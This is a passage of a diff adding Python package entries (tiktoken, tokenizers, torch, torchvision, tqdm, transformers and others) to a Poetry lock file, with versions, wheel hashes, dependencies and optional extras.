+ {file = "threadpoolctl-3.1.0-py3-none-any.whl", hash = "sha256:8b99adda265feb6773280df41eece7b2e6561b772d21ffd52e372f999024907b"},
+ {file = "threadpoolctl-3.1.0.tar.gz", hash = "sha256:a335baacfaa4400ae1f0d8e3a58d6674d2f8828e3716bb2802c44955ad391380"},
+]
+
+[[package]]
+name = "tiktoken"
+version = "0.4.0"
+description = "tiktoken is a fast BPE tokeniser for use with OpenAI's models"
+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "tiktoken-0.4.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:176cad7f053d2cc82ce7e2a7c883ccc6971840a4b5276740d0b732a2b2011f8a"},
+ {file = "tiktoken-0.4.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:450d504892b3ac80207700266ee87c932df8efea54e05cefe8613edc963c1285"},
+ {file = "tiktoken-0.4.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:00d662de1e7986d129139faf15e6a6ee7665ee103440769b8dedf3e7ba6ac37f"},
+ {file = "tiktoken-0.4.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5727d852ead18b7927b8adf558a6f913a15c7766725b23dbe21d22e243041b28"},
+ {file = "tiktoken-0.4.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:c06cd92b09eb0404cedce3702fa866bf0d00e399439dad3f10288ddc31045422"},
+ {file = "tiktoken-0.4.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:9ec161e40ed44e4210d3b31e2ff426b4a55e8254f1023e5d2595cb60044f8ea6"},
+ {file = "tiktoken-0.4.0-cp310-cp310-win_amd64.whl", hash = "sha256:1e8fa13cf9889d2c928b9e258e9dbbbf88ab02016e4236aae76e3b4f82dd8288"},
+ {file = "tiktoken-0.4.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:bb2341836b725c60d0ab3c84970b9b5f68d4b733a7bcb80fb25967e5addb9920"},
+ {file = "tiktoken-0.4.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2ca30367ad750ee7d42fe80079d3092bd35bb266be7882b79c3bd159b39a17b0"},
+ {file = "tiktoken-0.4.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3dc3df19ddec79435bb2a94ee46f4b9560d0299c23520803d851008445671197"},
+ {file = "tiktoken-0.4.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4d980fa066e962ef0f4dad0222e63a484c0c993c7a47c7dafda844ca5aded1f3"},
+ {file = "tiktoken-0.4.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:329f548a821a2f339adc9fbcfd9fc12602e4b3f8598df5593cfc09839e9ae5e4"},
+ {file = "tiktoken-0.4.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:b1a038cee487931a5caaef0a2e8520e645508cde21717eacc9af3fbda097d8bb"},
+ {file = "tiktoken-0.4.0-cp311-cp311-win_amd64.whl", hash = "sha256:08efa59468dbe23ed038c28893e2a7158d8c211c3dd07f2bbc9a30e012512f1d"},
+ {file = "tiktoken-0.4.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:f3020350685e009053829c1168703c346fb32c70c57d828ca3742558e94827a9"},
+ {file = "tiktoken-0.4.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:ba16698c42aad8190e746cd82f6a06769ac7edd415d62ba027ea1d99d958ed93"},
+ {file = "tiktoken-0.4.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9c15d9955cc18d0d7ffcc9c03dc51167aedae98542238b54a2e659bd25fe77ed"},
+ {file = "tiktoken-0.4.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:64e1091c7103100d5e2c6ea706f0ec9cd6dc313e6fe7775ef777f40d8c20811e"},
+ {file = "tiktoken-0.4.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:e87751b54eb7bca580126353a9cf17a8a8eaadd44edaac0e01123e1513a33281"},
+ {file = "tiktoken-0.4.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:e063b988b8ba8b66d6cc2026d937557437e79258095f52eaecfafb18a0a10c03"},
+ {file = "tiktoken-0.4.0-cp38-cp38-win_amd64.whl", hash = "sha256:9c6dd439e878172dc163fced3bc7b19b9ab549c271b257599f55afc3a6a5edef"},
+ {file = "tiktoken-0.4.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:8d1d97f83697ff44466c6bef5d35b6bcdb51e0125829a9c0ed1e6e39fb9a08fb"},
+ {file = "tiktoken-0.4.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:1b6bce7c68aa765f666474c7c11a7aebda3816b58ecafb209afa59c799b0dd2d"},
+ {file = "tiktoken-0.4.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5a73286c35899ca51d8d764bc0b4d60838627ce193acb60cc88aea60bddec4fd"},
+ {file = "tiktoken-0.4.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d0394967d2236a60fd0aacef26646b53636423cc9c70c32f7c5124ebe86f3093"},
+ {file = "tiktoken-0.4.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:dae2af6f03ecba5f679449fa66ed96585b2fa6accb7fd57d9649e9e398a94f44"},
+ {file = "tiktoken-0.4.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:55e251b1da3c293432179cf7c452cfa35562da286786be5a8b1ee3405c2b0dd2"},
+ {file = "tiktoken-0.4.0-cp39-cp39-win_amd64.whl", hash = "sha256:c835d0ee1f84a5aa04921717754eadbc0f0a56cf613f78dfc1cf9ad35f6c3fea"},
+ {file = "tiktoken-0.4.0.tar.gz", hash = "sha256:59b20a819969735b48161ced9b92f05dc4519c17be4015cfb73b65270a243620"},
+]
+
+[package.dependencies]
+regex = ">=2022.1.18"
+requests = ">=2.26.0"
+
+[package.extras]
+blobfile = ["blobfile (>=2)"]
+
+[[package]]
+name = "tokenizers"
+version = "0.13.3"
+description = "Fast and Customizable Tokenizers"
+optional = false
+python-versions = "*"
+files = [
+ {file = "tokenizers-0.13.3-cp310-cp310-macosx_10_11_x86_64.whl", hash = "sha256:f3835c5be51de8c0a092058a4d4380cb9244fb34681fd0a295fbf0a52a5fdf33"},
+ {file = "tokenizers-0.13.3-cp310-cp310-macosx_12_0_arm64.whl", hash = "sha256:4ef4c3e821730f2692489e926b184321e887f34fb8a6b80b8096b966ba663d07"},
+ {file = "tokenizers-0.13.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c5fd1a6a25353e9aa762e2aae5a1e63883cad9f4e997c447ec39d071020459bc"},
+ {file = "tokenizers-0.13.3-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ee0b1b311d65beab83d7a41c56a1e46ab732a9eed4460648e8eb0bd69fc2d059"},
+ {file = "tokenizers-0.13.3-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5ef4215284df1277dadbcc5e17d4882bda19f770d02348e73523f7e7d8b8d396"},
+ {file = "tokenizers-0.13.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a4d53976079cff8a033f778fb9adca2d9d69d009c02fa2d71a878b5f3963ed30"},
+ {file = "tokenizers-0.13.3-cp310-cp310-win32.whl", hash = "sha256:1f0e3b4c2ea2cd13238ce43548959c118069db7579e5d40ec270ad77da5833ce"},
+ {file = "tokenizers-0.13.3-cp310-cp310-win_amd64.whl", hash = "sha256:89649c00d0d7211e8186f7a75dfa1db6996f65edce4b84821817eadcc2d3c79e"},
+ {file = "tokenizers-0.13.3-cp311-cp311-macosx_10_11_universal2.whl", hash = "sha256:56b726e0d2bbc9243872b0144515ba684af5b8d8cd112fb83ee1365e26ec74c8"},
+ {file = "tokenizers-0.13.3-cp311-cp311-macosx_12_0_arm64.whl", hash = "sha256:cc5c022ce692e1f499d745af293ab9ee6f5d92538ed2faf73f9708c89ee59ce6"},
+ {file = "tokenizers-0.13.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f55c981ac44ba87c93e847c333e58c12abcbb377a0c2f2ef96e1a266e4184ff2"},
+ {file = "tokenizers-0.13.3-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f247eae99800ef821a91f47c5280e9e9afaeed9980fc444208d5aa6ba69ff148"},
+ {file = "tokenizers-0.13.3-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4b3e3215d048e94f40f1c95802e45dcc37c5b05eb46280fc2ccc8cd351bff839"},
+ {file = "tokenizers-0.13.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9ba2b0bf01777c9b9bc94b53764d6684554ce98551fec496f71bc5be3a03e98b"},
+ {file = "tokenizers-0.13.3-cp311-cp311-win32.whl", hash = "sha256:cc78d77f597d1c458bf0ea7c2a64b6aa06941c7a99cb135b5969b0278824d808"},
+ {file = "tokenizers-0.13.3-cp311-cp311-win_amd64.whl", hash = "sha256:ecf182bf59bd541a8876deccf0360f5ae60496fd50b58510048020751cf1724c"},
+ {file = "tokenizers-0.13.3-cp37-cp37m-macosx_10_11_x86_64.whl", hash = "sha256:0527dc5436a1f6bf2c0327da3145687d3bcfbeab91fed8458920093de3901b44"},
+ {file = "tokenizers-0.13.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:07cbb2c307627dc99b44b22ef05ff4473aa7c7cc1fec8f0a8b37d8a64b1a16d2"},
+ {file = "tokenizers-0.13.3-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4560dbdeaae5b7ee0d4e493027e3de6d53c991b5002d7ff95083c99e11dd5ac0"},
+ {file = "tokenizers-0.13.3-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:64064bd0322405c9374305ab9b4c07152a1474370327499911937fd4a76d004b"},
+ {file = "tokenizers-0.13.3-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b8c6e2ab0f2e3d939ca66aa1d596602105fe33b505cd2854a4c1717f704c51de"},
+ {file = "tokenizers-0.13.3-cp37-cp37m-win32.whl", hash = "sha256:6cc29d410768f960db8677221e497226e545eaaea01aa3613fa0fdf2cc96cff4"},
+ {file = "tokenizers-0.13.3-cp37-cp37m-win_amd64.whl", hash = "sha256:fc2a7fdf864554a0dacf09d32e17c0caa9afe72baf9dd7ddedc61973bae352d8"},
+ {file = "tokenizers-0.13.3-cp38-cp38-macosx_10_11_x86_64.whl", hash = "sha256:8791dedba834c1fc55e5f1521be325ea3dafb381964be20684b92fdac95d79b7"},
+ {file = "tokenizers-0.13.3-cp38-cp38-macosx_12_0_arm64.whl", hash = "sha256:d607a6a13718aeb20507bdf2b96162ead5145bbbfa26788d6b833f98b31b26e1"},
+ {file = "tokenizers-0.13.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3791338f809cd1bf8e4fee6b540b36822434d0c6c6bc47162448deee3f77d425"},
+ {file = "tokenizers-0.13.3-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c2f35f30e39e6aab8716f07790f646bdc6e4a853816cc49a95ef2a9016bf9ce6"},
+ {file = "tokenizers-0.13.3-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:310204dfed5aa797128b65d63538a9837cbdd15da2a29a77d67eefa489edda26"},
+ {file = "tokenizers-0.13.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a0f9b92ea052305166559f38498b3b0cae159caea712646648aaa272f7160963"},
+ {file = "tokenizers-0.13.3-cp38-cp38-win32.whl", hash = "sha256:9a3fa134896c3c1f0da6e762d15141fbff30d094067c8f1157b9fdca593b5806"},
+ {file = "tokenizers-0.13.3-cp38-cp38-win_amd64.whl", hash = "sha256:8e7b0cdeace87fa9e760e6a605e0ae8fc14b7d72e9fc19c578116f7287bb873d"},
+ {file = "tokenizers-0.13.3-cp39-cp39-macosx_10_11_x86_64.whl", hash = "sha256:00cee1e0859d55507e693a48fa4aef07060c4bb6bd93d80120e18fea9371c66d"},
+ {file = "tokenizers-0.13.3-cp39-cp39-macosx_12_0_arm64.whl", hash = "sha256:a23ff602d0797cea1d0506ce69b27523b07e70f6dda982ab8cf82402de839088"},
+ {file = "tokenizers-0.13.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:70ce07445050b537d2696022dafb115307abdffd2a5c106f029490f84501ef97"},
+ {file = "tokenizers-0.13.3-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:280ffe95f50eaaf655b3a1dc7ff1d9cf4777029dbbc3e63a74e65a056594abc3"},
+ {file = "tokenizers-0.13.3-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:97acfcec592f7e9de8cadcdcda50a7134423ac8455c0166b28c9ff04d227b371"},
+ {file = "tokenizers-0.13.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd7730c98a3010cd4f523465867ff95cd9d6430db46676ce79358f65ae39797b"},
+ {file = "tokenizers-0.13.3-cp39-cp39-win32.whl", hash = "sha256:48625a108029cb1ddf42e17a81b5a3230ba6888a70c9dc14e81bc319e812652d"},
+ {file = "tokenizers-0.13.3-cp39-cp39-win_amd64.whl", hash = "sha256:bc0a6f1ba036e482db6453571c9e3e60ecd5489980ffd95d11dc9f960483d783"},
+ {file = "tokenizers-0.13.3.tar.gz", hash = "sha256:2e546dbb68b623008a5442353137fbb0123d311a6d7ba52f2667c8862a75af2e"},
+]
+
+[package.extras]
+dev = ["black (==22.3)", "datasets", "numpy", "pytest", "requests"]
+docs = ["setuptools-rust", "sphinx", "sphinx-rtd-theme"]
+testing = ["black (==22.3)", "datasets", "numpy", "pytest", "requests"]
+
+[[package]]
+name = "torch"
+version = "2.0.1+cpu"
+description = "Tensors and Dynamic neural networks in Python with strong GPU acceleration"
+optional = false
+python-versions = ">=3.8.0"
+files = [
+ {file = "torch-2.0.1+cpu-cp310-cp310-linux_x86_64.whl", hash = "sha256:fec257249ba014c68629a1994b0c6e7356e20e1afc77a87b9941a40e5095285d"},
+ {file = "torch-2.0.1+cpu-cp310-cp310-win_amd64.whl", hash = "sha256:ca88b499973c4c027e32c4960bf20911d7e984bd0c55cda181dc643559f3d93f"},
+ {file = "torch-2.0.1+cpu-cp311-cp311-linux_x86_64.whl", hash = "sha256:274d4acf486ef50ce1066ffe9d500beabb32bde69db93e3b71d0892dd148956c"},
+ {file = "torch-2.0.1+cpu-cp311-cp311-win_amd64.whl", hash = "sha256:e2603310bdff4b099c4c41ae132192fc0d6b00932ae2621d52d87218291864be"},
+ {file = "torch-2.0.1+cpu-cp38-cp38-linux_x86_64.whl", hash = "sha256:8046f49deae5a3d219b9f6059a1f478ae321f232e660249355a8bf6dcaa810c1"},
+ {file = "torch-2.0.1+cpu-cp38-cp38-win_amd64.whl", hash = "sha256:2ac4382ff090035f9045b18afe5763e2865dd35f2d661c02e51f658d95c8065a"},
+ {file = "torch-2.0.1+cpu-cp39-cp39-linux_x86_64.whl", hash = "sha256:73482a223d577407c45685fde9d2a74ba42f0d8d9f6e1e95c08071dc55c47d7b"},
+ {file = "torch-2.0.1+cpu-cp39-cp39-win_amd64.whl", hash = "sha256:f263f8e908288427ae81441fef540377f61e339a27632b1bbe33cf78292fdaea"},
+]
+
+[package.dependencies]
+filelock = "*"
+jinja2 = "*"
+networkx = "*"
+sympy = "*"
+typing-extensions = "*"
+
+[package.extras]
+opt-einsum = ["opt-einsum (>=3.3)"]
+
+[package.source]
+type = "legacy"
+url = "https://download.pytorch.org/whl/cpu"
+reference = "torch"
+
+[[package]]
+name = "torchvision"
+version = "0.15.2+cpu"
+description = "image and video datasets and models for torch deep learning"
+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "torchvision-0.15.2+cpu-cp310-cp310-linux_x86_64.whl", hash = "sha256:aae0be6883d2cd5a23cb544ee0928288a27df0455430ef9dd6e631c5464095f5"},
+ {file = "torchvision-0.15.2+cpu-cp310-cp310-win_amd64.whl", hash = "sha256:44d4b8976b5aaf97811ec05cb526531ac08dc5c76c2f5bc1c919b9a653cbc206"},
+ {file = "torchvision-0.15.2+cpu-cp311-cp311-linux_x86_64.whl", hash = "sha256:1633c0b7ead69d2cd3fbe8aeaa146c76a68691bd3599facfffd2da925973e044"},
+ {file = "torchvision-0.15.2+cpu-cp311-cp311-win_amd64.whl", hash = "sha256:3ec9785df54906d1631c5574ba0df3cc3adcd43286774b93fbe82c97c4714977"},
+ {file = "torchvision-0.15.2+cpu-cp38-cp38-linux_x86_64.whl", hash = "sha256:af6bc2c7b0b8b2a32745e56f057a5956caf0d6031a94eb80b283dcd475d8feb0"},
+ {file = "torchvision-0.15.2+cpu-cp38-cp38-win_amd64.whl", hash = "sha256:f61cc175f75392c7565ad1144d2e511b14002d061a2fd31a73b045259eb9100e"},
+ {file = "torchvision-0.15.2+cpu-cp39-cp39-linux_x86_64.whl", hash = "sha256:e1e3988373afa29c813b140dbb5b7a074214813fd0ef97d2538966b9bd8d92d9"},
+ {file = "torchvision-0.15.2+cpu-cp39-cp39-win_amd64.whl", hash = "sha256:b9c2745a966d5ffcad7b17807ef3acf4149f497c80f5f4571f69a1817436e56f"},
+]
+
+[package.dependencies]
+numpy = "*"
+pillow = ">=5.3.0,<8.3.dev0 || >=8.4.dev0"
+requests = "*"
+torch = "2.0.1"
+
+[package.extras]
+scipy = ["scipy"]
+
+[package.source]
+type = "legacy"
+url = "https://download.pytorch.org/whl/cpu"
+reference = "torch"
+
+[[package]]
+name = "tqdm"
+version = "4.65.0"
+description = "Fast, Extensible Progress Meter"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "tqdm-4.65.0-py3-none-any.whl", hash = "sha256:c4f53a17fe37e132815abceec022631be8ffe1b9381c2e6e30aa70edc99e9671"},
+ {file = "tqdm-4.65.0.tar.gz", hash = "sha256:1871fb68a86b8fb3b59ca4cdd3dcccbc7e6d613eeed31f4c332531977b89beb5"},
+]
+
+[package.dependencies]
+colorama = {version = "*", markers = "platform_system == \"Windows\""}
+
+[package.extras]
+dev = ["py-make (>=0.1.0)", "twine", "wheel"]
+notebook = ["ipywidgets (>=6)"]
+slack = ["slack-sdk"]
+telegram = ["requests"]
+
+[[package]]
+name = "transformers"
+version = "4.30.2"
+description = "State-of-the-art Machine Learning for JAX, PyTorch and TensorFlow"
+optional = false
+python-versions = ">=3.7.0"
+files = [
+ {file = "transformers-4.30.2-py3-none-any.whl", hash = "sha256:c332e3a3097f9ed89ce556b403251235931c00237b8bc2d7adaa19d226c13f1d"},
+ {file = "transformers-4.30.2.tar.gz", hash = "sha256:f4a8aac4e1baffab4033f4a345b0d7dc7957d12a4f1ba969afea08205a513045"},
+]
+
+[package.dependencies]
+filelock = "*"
+huggingface-hub = ">=0.14.1,<1.0"
+numpy = ">=1.17"
+packaging = ">=20.0"
+pyyaml = ">=5.1"
+regex = "!=2019.12.17"
+requests = "*"
+safetensors = ">=0.3.1"
+tokenizers = ">=0.11.1,<0.11.3 || >0.11.3,<0.14"
+tqdm = ">=4.27"
+
+[package.extras]
+accelerate = ["accelerate (>=0.20.2)"]
+agents = ["Pillow", "accelerate (>=0.20.2)", "datasets (!=2.5.0)", "diffusers", "opencv-python", "sentencepiece (>=0.1.91,!=0.1.92)", "torch (>=1.9,!=1.12.0)"]
+all = ["Pillow", "accelerate (>=0.20.2)", "av (==9.2.0)", "codecarbon (==1.2.0)", "decord (==0.6.0)", "flax (>=0.4.1,<=0.6.9)", "jax (>=0.2.8,!=0.3.2,<=0.3.6)", "jaxlib (>=0.1.65,<=0.3.6)", "kenlm", "keras-nlp (>=0.3.1)", "librosa", "onnxconverter-common", "optax (>=0.0.8,<=0.1.4)", "optuna", "phonemizer", "protobuf (<=3.20.3)", "pyctcdecode (>=0.4.0)", "ray[tune]", "sentencepiece (>=0.1.91,!=0.1.92)", "sigopt", "tensorflow (>=2.4,<2.13)", "tensorflow-text (<2.13)", "tf2onnx", "timm", "tokenizers (>=0.11.1,!=0.11.3,<0.14)", "torch (>=1.9,!=1.12.0)", "torchaudio", "torchvision"]
+audio = ["kenlm", "librosa", "phonemizer", "pyctcdecode (>=0.4.0)"]
+codecarbon = ["codecarbon (==1.2.0)"]
+deepspeed = ["accelerate (>=0.20.2)", "deepspeed (>=0.8.3)"]
+deepspeed-testing = ["GitPython (<3.1.19)", "accelerate (>=0.20.2)", "beautifulsoup4", "black (>=23.1,<24.0)", "cookiecutter (==1.7.3)", "datasets (!=2.5.0)", "deepspeed (>=0.8.3)", "dill (<0.3.5)", "evaluate (>=0.2.0)", "faiss-cpu", "hf-doc-builder (>=0.3.0)", "nltk", "optuna", "parameterized", "protobuf (<=3.20.3)", "psutil", "pytest (>=7.2.0)", "pytest-timeout", "pytest-xdist", "rjieba", "rouge-score (!=0.0.7,!=0.0.8,!=0.1,!=0.1.1)", "sacrebleu (>=1.4.12,<2.0.0)", "sacremoses", "sentencepiece (>=0.1.91,!=0.1.92)", "timeout-decorator"]
+dev = ["GitPython (<3.1.19)", "Pillow", "accelerate (>=0.20.2)", "av (==9.2.0)", "beautifulsoup4", "black (>=23.1,<24.0)", "codecarbon (==1.2.0)", "cookiecutter (==1.7.3)", "datasets (!=2.5.0)", "decord (==0.6.0)", "dill (<0.3.5)", "evaluate (>=0.2.0)", "faiss-cpu", "flax (>=0.4.1,<=0.6.9)", "fugashi (>=1.0)", "hf-doc-builder", "hf-doc-builder (>=0.3.0)", "ipadic (>=1.0.0,<2.0)", "isort (>=5.5.4)", "jax (>=0.2.8,!=0.3.2,<=0.3.6)", "jaxlib (>=0.1.65,<=0.3.6)", "kenlm", "keras-nlp (>=0.3.1)", "librosa", "nltk", "onnxconverter-common", "optax (>=0.0.8,<=0.1.4)", "optuna", "parameterized", "phonemizer", "protobuf (<=3.20.3)", "psutil", "pyctcdecode (>=0.4.0)", "pytest (>=7.2.0)", "pytest-timeout", "pytest-xdist", "ray[tune]", "rhoknp (>=1.1.0,<1.3.1)", "rjieba", "rouge-score (!=0.0.7,!=0.0.8,!=0.1,!=0.1.1)", "ruff (>=0.0.241,<=0.0.259)", "sacrebleu (>=1.4.12,<2.0.0)", "sacremoses", "scikit-learn", "sentencepiece (>=0.1.91,!=0.1.92)", "sigopt", "sudachidict-core (>=20220729)", "sudachipy (>=0.6.6)", "tensorflow (>=2.4,<2.13)", "tensorflow-text (<2.13)", "tf2onnx", "timeout-decorator", "timm", "tokenizers (>=0.11.1,!=0.11.3,<0.14)", "torch (>=1.9,!=1.12.0)", "torchaudio", "torchvision", "unidic (>=1.0.2)", "unidic-lite (>=1.0.7)", "urllib3 (<2.0.0)"]
+dev-tensorflow = ["GitPython (<3.1.19)", "Pillow", "beautifulsoup4", "black (>=23.1,<24.0)", "cookiecutter (==1.7.3)", "datasets (!=2.5.0)", "dill (<0.3.5)", "evaluate (>=0.2.0)", "faiss-cpu", "hf-doc-builder", "hf-doc-builder (>=0.3.0)", "isort (>=5.5.4)", "kenlm", "keras-nlp (>=0.3.1)", "librosa", "nltk", "onnxconverter-common", "onnxruntime (>=1.4.0)", "onnxruntime-tools (>=1.4.2)", "parameterized", "phonemizer", "protobuf (<=3.20.3)", "psutil", "pyctcdecode (>=0.4.0)", "pytest (>=7.2.0)", "pytest-timeout", "pytest-xdist", "rjieba", "rouge-score (!=0.0.7,!=0.0.8,!=0.1,!=0.1.1)", "ruff (>=0.0.241,<=0.0.259)", "sacrebleu (>=1.4.12,<2.0.0)", "sacremoses", "scikit-learn", "sentencepiece (>=0.1.91,!=0.1.92)", "tensorflow (>=2.4,<2.13)", "tensorflow-text (<2.13)", "tf2onnx", "timeout-decorator", "tokenizers (>=0.11.1,!=0.11.3,<0.14)", "urllib3 (<2.0.0)"]
+dev-torch = ["GitPython (<3.1.19)", "Pillow", "accelerate (>=0.20.2)", "beautifulsoup4", "black (>=23.1,<24.0)", "codecarbon (==1.2.0)", "cookiecutter (==1.7.3)", "datasets (!=2.5.0)", "dill (<0.3.5)", "evaluate (>=0.2.0)", "faiss-cpu", "fugashi (>=1.0)", "hf-doc-builder", "hf-doc-builder (>=0.3.0)", "ipadic (>=1.0.0,<2.0)", "isort (>=5.5.4)", "kenlm", "librosa", "nltk", "onnxruntime (>=1.4.0)", "onnxruntime-tools (>=1.4.2)", "optuna", "parameterized", "phonemizer", "protobuf (<=3.20.3)", "psutil", "pyctcdecode (>=0.4.0)", "pytest (>=7.2.0)", "pytest-timeout", "pytest-xdist", "ray[tune]", "rhoknp (>=1.1.0,<1.3.1)", "rjieba", "rouge-score (!=0.0.7,!=0.0.8,!=0.1,!=0.1.1)", "ruff (>=0.0.241,<=0.0.259)", "sacrebleu (>=1.4.12,<2.0.0)", "sacremoses", "scikit-learn", "sentencepiece (>=0.1.91,!=0.1.92)", "sigopt", "sudachidict-core (>=20220729)", "sudachipy (>=0.6.6)", "timeout-decorator", "timm", "tokenizers (>=0.11.1,!=0.11.3,<0.14)", "torch (>=1.9,!=1.12.0)", "torchaudio", "torchvision", "unidic (>=1.0.2)", "unidic-lite (>=1.0.7)", "urllib3 (<2.0.0)"]
+docs = ["Pillow", "accelerate (>=0.20.2)", "av (==9.2.0)", "codecarbon (==1.2.0)", "decord (==0.6.0)", "flax (>=0.4.1,<=0.6.9)", "hf-doc-builder", "jax (>=0.2.8,!=0.3.2,<=0.3.6)", "jaxlib (>=0.1.65,<=0.3.6)", "kenlm", "keras-nlp (>=0.3.1)", "librosa", "onnxconverter-common", "optax (>=0.0.8,<=0.1.4)", "optuna", "phonemizer", "protobuf (<=3.20.3)", "pyctcdecode (>=0.4.0)", "ray[tune]", "sentencepiece (>=0.1.91,!=0.1.92)", "sigopt", "tensorflow (>=2.4,<2.13)", "tensorflow-text (<2.13)", "tf2onnx", "timm", "tokenizers (>=0.11.1,!=0.11.3,<0.14)", "torch (>=1.9,!=1.12.0)", "torchaudio", "torchvision"]
+docs-specific = ["hf-doc-builder"]
+fairscale = ["fairscale (>0.3)"]
+flax = ["flax (>=0.4.1,<=0.6.9)", "jax (>=0.2.8,!=0.3.2,<=0.3.6)", "jaxlib (>=0.1.65,<=0.3.6)", "optax (>=0.0.8,<=0.1.4)"]
+flax-speech = ["kenlm", "librosa", "phonemizer", "pyctcdecode (>=0.4.0)"]
+ftfy = ["ftfy"]
+integrations = ["optuna", "ray[tune]", "sigopt"]
+ja = ["fugashi (>=1.0)", "ipadic (>=1.0.0,<2.0)", "rhoknp (>=1.1.0,<1.3.1)", "sudachidict-core (>=20220729)", "sudachipy (>=0.6.6)", "unidic (>=1.0.2)", "unidic-lite (>=1.0.7)"]
+modelcreation = ["cookiecutter (==1.7.3)"]
+natten = ["natten (>=0.14.6)"]
+onnx = ["onnxconverter-common", "onnxruntime (>=1.4.0)", "onnxruntime-tools (>=1.4.2)", "tf2onnx"]
+onnxruntime = ["onnxruntime (>=1.4.0)", "onnxruntime-tools (>=1.4.2)"]
+optuna = ["optuna"]
+quality = ["GitPython (<3.1.19)", "black (>=23.1,<24.0)", "datasets (!=2.5.0)", "hf-doc-builder (>=0.3.0)", "isort (>=5.5.4)", "ruff (>=0.0.241,<=0.0.259)", "urllib3 (<2.0.0)"]
+ray = ["ray[tune]"]
+retrieval = ["datasets (!=2.5.0)", "faiss-cpu"]
+sagemaker = ["sagemaker (>=2.31.0)"]
+sentencepiece = ["protobuf (<=3.20.3)", "sentencepiece (>=0.1.91,!=0.1.92)"]
+serving = ["fastapi", "pydantic", "starlette", "uvicorn"]
+sigopt = ["sigopt"]
+sklearn = ["scikit-learn"]
+speech = ["kenlm", "librosa", "phonemizer", "pyctcdecode (>=0.4.0)", "torchaudio"]
+testing = ["GitPython (<3.1.19)", "beautifulsoup4", "black (>=23.1,<24.0)", "cookiecutter (==1.7.3)", "datasets (!=2.5.0)", "dill (<0.3.5)", "evaluate (>=0.2.0)", "faiss-cpu", "hf-doc-builder (>=0.3.0)", "nltk", "parameterized", "protobuf (<=3.20.3)", "psutil", "pytest (>=7.2.0)", "pytest-timeout", "pytest-xdist", "rjieba", "rouge-score (!=0.0.7,!=0.0.8,!=0.1,!=0.1.1)", "sacrebleu (>=1.4.12,<2.0.0)", "sacremoses", "timeout-decorator"]
+tf = ["keras-nlp (>=0.3.1)", "onnxconverter-common", "tensorflow (>=2.4,<2.13)", "tensorflow-text (<2.13)", "tf2onnx"]
+tf-cpu = ["keras-nlp (>=0.3.1)", "onnxconverter-common", "tensorflow-cpu (>=2.4,<2.13)", "tensorflow-text (<2.13)", "tf2onnx"]
+tf-speech = ["kenlm", "librosa", "phonemizer", "pyctcdecode (>=0.4.0)"]
+timm = ["timm"]
+tokenizers = ["tokenizers (>=0.11.1,!=0.11.3,<0.14)"]
+torch = ["accelerate (>=0.20.2)", "torch (>=1.9,!=1.12.0)"]
+torch-speech = ["kenlm", "librosa", "phonemizer", "pyctcdecode (>=0.4.0)", "torchaudio"]
+torch-vision = ["Pillow", "torchvision"]
